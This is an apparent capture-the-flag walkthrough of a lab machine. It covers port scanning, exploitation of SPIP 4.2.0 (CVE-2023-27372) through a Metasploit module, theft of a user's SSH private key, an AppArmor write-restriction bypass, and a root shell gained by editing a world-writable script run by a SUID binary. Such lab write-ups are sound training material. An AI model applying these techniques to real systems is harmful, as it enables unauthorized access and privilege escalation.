
Recognition
We started with an Nmap scan to discover open ports:
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.80.181.246 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 11:50 CET
Initiating SYN Stealth Scan at 11:50
Scanning 10.80.181.246 [65535 ports]
Discovered open port 22/tcp on 10.80.181.246
Discovered open port 80/tcp on 10.80.181.246
Completed SYN Stealth Scan at 11:51, 12.66s elapsed (65535 total ports)
Nmap scan report for 10.80.181.246
Host is up, received user-set (0.058s latency).
Scanned at 2025-11-28 11:50:50 CET for 13s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
Raw packets sent: 65697 (2.891MB) | Rcvd: 65535 (2.621MB)Next, we ran a version detection scan:
❯ nmap -p22,80 -sCV 10.80.181.246 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 11:56 CET
Nmap scan report for 10.80.181.246
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4d:dc:b4:ce:8e:01:4f:23:3c:16:5a:92:46:b7:38:53 (RSA)
| 256 10:9b:82:72:00:7a:6d:97:71:19:f5:3c:1e:38:28:ae (ECDSA)
|_ 256 4b:a1:df:47:0d:16:50:cf:f3:63:bb:29:32:78:e7:91 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.50 secondsNothing particularly interesting at first glance. While a directory and file fuzzing scan ran in the background, we inspected the website. It turned out to be a blog. One of the posts had the following title:
Rencontre SPIP Mise à jour critique de sécurité : sortie de SPIP 4.1.5, SPIP 4.0.8 et SPIP 3.2.16 Spip Luz Days Gazette de septembre 2023 Piratages de SPIP Nouveaux plugins SPIP5 et l’avenir de SPIP API SQL, SPIP 5 et PHP 8.1
This basically indicates that SPIP 4.1.5, 4.0.8, and 3.2.16 were released.
Using WhatWeb, we confirmed the exact SPIP version running on the site:
❯ whatweb 10.80.181.246/spip
<http://10.80.181.246/spip> [301 Moved Permanently] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.80.181.246], RedirectLocation[http://10.80.181.246/spip/], Title[301 Moved Permanently]
<http://10.80.181.246/spip/> [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.80.181.246], MetaGenerator[SPIP 4.2.0], SPIP[4.2.0][http://10.80.181.246/spip/local/config.txt], Script[text/javascript], Title[Publisher], UncommonHeaders[composed-by,link,x-spip-cache]We searched for exploits for SPIP 4.2.0:
❯ searchsploit "SPIP 4.2.0"
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
SPIP v4.2.0 - Remote Code Execution (Unauthenticated) | php/webapps/51536.py
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No ResultsThe exploit details:
❯ searchsploit -p php/webapps/51536.py
Exploit: SPIP v4.2.0 - Remote Code Execution (Unauthenticated)
URL: https://www.exploit-db.com/exploits/51536
Path: /usr/share/exploitdb/exploits/php/webapps/51536.py
Codes: CVE-2023-27372
Verified: True
File Type: Python script, ASCII text executable
Copied EDB-ID #51536's path to the clipboardWe also checked if a Metasploit module was available:
msf > search CVE-2023-27372
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/spip_rce_form 2023-02-27 excellent Yes SPIP form PHP Injection
1 \\_ target: PHP In-Memory . . . .
2 \\_ target: Unix/Linux Command Shell . . . .
3 \\_ target: Windows Command Shell . . . .
Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/spip_rce_form
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell'We loaded the module and set the required parameters:
- set RHOSTS
- set LHOST
- set TARGETURI /spip/
After running exploit, we successfully obtained a Meterpreter session.
Lateral Movement
We landed as the user www-data. Running ls showed we were inside the SPIP installation directory /home/think/spip/spip:
meterpreter > ls
Listing: /home/think/spip/spip
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100755/rwxr-xr-x 7045 fil 2023-12-20 20:05:25 +0100 CHANGELOG.md
040755/rwxr-xr-x 4096 dir 2023-12-20 20:05:15 +0100 IMG
100755/rwxr-xr-x 35147 fil 2023-12-20 20:05:25 +0100 LICENSE
100755/rwxr-xr-x 842 fil 2023-12-20 20:05:25 +0100 README.md
100755/rwxr-xr-x 178 fil 2023-12-20 20:05:25 +0100 SECURITY.md
100755/rwxr-xr-x 1761 fil 2023-12-20 20:05:25 +0100 composer.json
100755/rwxr-xr-x 27346 fil 2023-12-20 20:05:25 +0100 composer.lock
040755/rwxr-xr-x 4096 dir 2023-12-20 20:05:15 +0100 config
040755/rwxr-xr-x 4096 dir 2023-12-20 20:05:16 +0100 ecrire
100755/rwxr-xr-x 4307 fil 2023-12-20 20:05:25 +0100 htaccess.txt
100755/rwxr-xr-x 42 fil 2023-12-20 20:05:25 +0100 index.php
040755/rwxr-xr-x 4096 dir 2023-12-20 20:05:16 +0100 local
040755/rwxr-xr-x 4096 dir 2023-12-20 20:05:19 +0100 plugins-dist
100755/rwxr-xr-x 3645 fil 2023-12-20 20:05:25 +0100 plugins-dist.json
040755/rwxr-xr-x 4096 dir 2023-12-20 20:05:20 +0100 prive
100755/rwxr-xr-x 973 fil 2023-12-20 20:05:25 +0100 spip.php
100755/rwxr-xr-x 1212 fil 2023-12-20 20:05:25 +0100 spip.png
100755/rwxr-xr-x 1673 fil 2023-12-20 20:05:25 +0100 spip.svg
040755/rwxr-xr-x 4096 dir 2023-12-20 20:05:20 +0100 squelettes-dist
040755/rwxr-xr-x 4096 dir 2025-11-28 12:20:53 +0100 tmp
040755/rwxr-xr-x 4096 dir 2023-12-20 20:05:25 +0100 vendorWe tried reading the user flag:
meterpreter > cat /home/think/user.txt
f********It worked! This meant we could read files in the /home/think directory. Inside /home/think/.ssh, we found an id_rsa private key.
- We copied the content of
id_rsato a local file calledid_rsa_think. - Set proper permissions:
chmod 600 id_rsa_think. - Connected via SSH:
ssh -i id_rsa_think think@10.80.181.246.
Privilege Escalation
We searched for SUID binaries:
find / -perm /4000 2>/dev/nullAn unusual one stood out: /usr/sbin/run_container. We executed it:
think@ip-10-80-181-246:/$ /usr/sbin/run_container
List of Docker containers:
ID: e46e3e35fd92 | Name: youthful_bassi | Status: Created
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 2 hours
Enter the ID of the container or leave blank to create a new one: 41c976e507f8
/opt/run_container.sh: line 16: validate_container_id: command not found
OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: 5
Exiting...The binary interacts with Docker containers and executes /opt/run_container.sh. We checked its permissions:
think@ip-10-80-181-246:/$ ls -la /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Jan 10 2024 /opt/run_container.shIt is world-writable, but we could not write to /opt because AppArmor was active (confirmed with linpeas.sh). AppArmor is a Linux security system that enforces mandatory access control (MAC) via profiles, restricting what files programs can read, write, or execute.
AppArmor profiles are located in /etc/apparmor.d/:
think@ip-10-82-184-153:/etc/apparmor.d$ ls -la
# (output omitted)We inspected the profile for our shell (ash):
think@ip-10-82-184-153:/etc/apparmor.d$ cat usr.sbin.ash
#include <tunables/global>
/usr/sbin/ash flags=(complain) {
#include <abstractions/base>
#include <abstractions/bash>
#include <abstractions/consoles>
#include <abstractions/nameservice>
#include <abstractions/user-tmp>
# Remove specific file path rules
# Deny access to certain directories
deny /opt/ r,
deny /opt/** w,
deny /tmp/** w,
deny /dev/shm w,
deny /var/tmp w,
deny /home/** w,
/usr/bin/** mrix,
/usr/sbin/** mrix,
# Simplified rule for accessing /home directory
owner /home/** rix,
}Notice that /var/tmp/** w was missing — only /var/tmp w was denied. This meant we could write to /var/tmp.
To bypass the restricted shell, we copied /bin/bash to /var/tmp and executed it:
think@ip-10-82-139-39:/var/tmp$ cp /bin/bash bash
think@ip-10-82-139-39:/var/tmp$ chmod +x bash
think@ip-10-82-139-39:/var/tmp$ /var/tmp/bash -p
think@ip-10-82-139-39:/var/tmp$ ls /opt
containerd dockerfile run_container.shNow we could write to /opt and modify /opt/run_container.sh. We added /bin/bash -p at the beginning of the prompt_container_id function:
# Function to prompt user for container ID
prompt_container_id() {
/bin/bash -p
read -p "Enter the ID of the container or leave blank to create a new one: " container_id
validate_container_id "$container_id"
}Running /usr/sbin/run_container again gave us a root shell:
think@ip-10-82-139-39:/var/tmp$ nano /opt/run_container.sh
think@ip-10-82-139-39:/var/tmp$ /usr/sbin/run_container
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 10 minutes
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
3******************************* Machine completed.
Summary
This machine was a medium-difficulty box that started with a classic web application vulnerability and ended with a clever AppArmor bypass for privilege escalation.
- Initial Access: An unauthenticated remote code execution vulnerability (CVE-2023-27372) in SPIP 4.2.0 was exploited via the Metasploit module
exploit/multi/http/spip_rce_form, granting a Meterpreter session as the web server userwww-data. - Lateral Movement: From the web directory (
/home/think/spip/spip), we could read the user flag and the private SSH key located in/home/think/.ssh/id_rsa. This allowed us to log in as the low-privileged userthink. - Privilege Escalation: The SUID binary
/usr/sbin/run_containerexecuted the world-writable script/opt/run_container.sh. AppArmor restricted writes to most directories, but/var/tmpwas not properly denied. By copying a fullbashbinary to/var/tmpand running it with-p, we escaped the restricted shell, modified the script to spawn a root shell, and obtained the root flag.
Machine completed.